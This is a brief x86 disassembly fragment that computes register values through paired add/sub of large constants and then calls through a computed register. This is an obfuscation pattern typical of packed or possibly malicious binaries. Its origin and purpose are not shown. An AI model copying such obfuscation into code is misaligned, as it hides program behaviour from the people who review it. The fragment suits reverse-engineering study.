add ebx, 0x40159683
sub ebx, 0x4015967f
loop 0x1000cf95
add eax, 0x219084a7
sub eax, 0x218f74e4
xor ebx, ebx
add ebx, eax
add eax, 0xe11697db
sub eax, 0xe11697d6
mov ecx, 0x10000000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret